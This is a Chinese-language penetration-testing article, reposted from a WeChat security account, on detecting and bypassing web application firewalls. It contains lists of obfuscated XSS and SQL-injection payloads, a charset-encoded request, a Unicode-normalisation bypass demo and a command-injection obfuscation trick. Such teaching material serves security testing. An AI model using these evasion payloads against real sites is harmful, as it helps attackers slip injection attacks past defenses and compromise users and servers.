WAF 是一种网络安全解决方案,用于过滤和阻止恶意网络流量。常见的供应商包括 CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure 和 Barracuda。
根据防火墙使用的机制组合,绕过方法可能会有所不同。例如,WAF 可能使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。您可以在此处阅读有关它们的更多信息。WAF 还可以采用基于签名的检测,其中已知的恶意字符串被赋予存储在数据库中的签名,防火墙将根据数据库的内容检查 Web 流量的签名。如果匹配,则流量被阻止。此外,一些防火墙使用基于启发式的检测。
识别WAF
手动
如前所述,WAF 通常会阻止明显的恶意流量。为了触发防火墙并验证其存在,可以向 Web 应用程序发出 HTTP 请求,并在 URL 中包含恶意查询,例如
https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>
HTTP 响应可能与所访问网页的预期不同。WAF可能会返回其自己的网页,例如下面显示的网页或不同的状态代码,通常为 400s。
通过 Web 代理、cURL 或浏览器 DevTools 的“网络”选项卡,可以检测到防火墙的其他迹象:
-
标头中 WAF 的名称
Server
(例如Server: cloudflare
) -
与 WAF 关联的其他 HTTP 响应标头(例如
CF-RAY: xxxxxxxxxxx
) -
看似由 WAF 设置的 Cookie(例如响应标头
Set-Cookie: __cfduid=xxxxx
) -
提交恶意请求时的唯一响应代码。(例如
412
)
除了设计恶意查询和评估响应之外,还可以通过FIN/RST
向服务器发送 TCP 数据包或实施边信道攻击来检测防火墙。例如,防火墙针对不同负载的时间可以提示正在使用的 WAF。
自动化
-
运行 Nmap 扫描
Nmap 脚本引擎 (NSE) 包括用于检测和指纹识别防火墙的脚本。可以在下面看到这些脚本的使用情况。
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).
PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
2.WafW00f
Wafw00f 是一个命令行实用程序,可将通常标记的有效负载发送到给定的域名,并评估 Web 服务器的响应以在可能的情况下检测和识别防火墙。
wafw00f example.com
3.WhatWaf
除了检测防火墙外,WhatWaf 还可以尝试通过利用篡改脚本和评估 Web 服务器对各种有效负载的响应来发现绕过。
WhatWaf 的结果与 Wafw00f 的结果一致。
绕过 WAF
本节将通过示例概述一些潜在的 WAF 绕过技术。
1.绕过正则表达式
此方法适用于 WAF 和 Web 服务器完成的正则表达式过滤。在黑盒渗透测试期间,查找 WAF 使用的正则表达式可能不是一种选择。如果正则表达式可访问,本文将通过案例研究解释正则表达式绕过。
常见的绕过包括更改有效负载的大小写、使用各种编码、替换函数或字符、使用替代语法以及使用换行符或制表符。下面的示例演示了一些使用注释绕过正则表达式的方法。
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
混淆视听
虽然混淆是绕过正则表达式的一种可能方法,但它们已分为不同的部分,以更专门地展示一系列混淆技术。
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt`6``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
2.字符集
此技术涉及修改Content-Type
标头以使用不同的字符集(例如ibm500
)。未配置为检测不同编码的恶意负载的 WAF 可能无法将请求识别为恶意请求。字符集编码可以在 Python 中完成
$ python3
-- snip --
> import urllib.parse
'<script>alert("xss")</script>' > s =
"IBM037" )) > urllib.parse.quote_plus(s.encode(
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n '
然后可以在请求正文中发送编码后的字符串并上传到服务器。
POST /comment/post HTTP/1.1
Host: chatapp
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
3.内容大小
在某些基于云的 WAF 中,如果负载超过特定大小,则不会检查请求。在这些情况下,可以通过增加请求正文或 URL 的大小来绕过防火墙。
4. Unicode 兼容性
Unicode 兼容性是一个概念,它描述了将视觉上不同的字符分解为相同的基本抽象字符。它是unicode 等价的一种形式。
例如,字符/
(U+FF0F) 和/
(U+002F) 是不同的,但在某些上下文中它们将具有相同的含义。共享含义允许字符彼此兼容,这意味着它们都可以转换为标准的正斜杠字符/
(U+002F),尽管它们最初是不同的字符。深入挖掘,/
(U+FF0F) 和/
(U+002F) 是否会以相同的正斜杠字符结尾取决于 Web 服务器对它们进行规范化或翻译的方式。
字符通常通过四种标准 Unicode 规范化算法之一进行规范化:
-
NFC:规范化形式规范组合
-
NFD:规范化形式规范分解
-
NFKC:规范化形式兼容性组合
-
NFKD:规范化形式相容性分解
特别是 NFKC 和 NFKD 会根据兼容性分解字符。这意味着在首先对用户输入进行清理,然后使用 NFKC 或 NFKD 规范化的 Web 服务器上,意外的兼容字符可以绕过 WAF 并在后端作为其规范等价物执行。这是 WAF 不期望 unicode 兼容字符的结果。
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
<img src=p onerror='prompt(1)'>
在防火墙可能检测到初始负载的情况下,使用 Unicode 兼容字符 ( <img src⁼p onerror⁼'prompt⁽1⁾'﹥
) 构造的负载将保持未检测到。
在经过清理后规范化输入的 Web 服务器可能容易通过 Unicode 兼容性绕过 WAF。
5.未初始化的变量
潜在的方法是在您的请求中使用未初始化的变量(例如),如本文$u
中所示。这在命令执行场景中是可能的,因为 Bash 将未初始化的变量视为空字符串。将空字符串与命令有效负载连接时,结果最终成为命令有效负载。
在易受命令注入攻击的系统上,在有效负载中插入未初始化的变量可以作为一种混淆形式,绕过防火墙。
原文始发于微信公众号(Khan安全攻防实验室):绕过 Web 应用程序防火墙 (WAF) 的 5 种方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论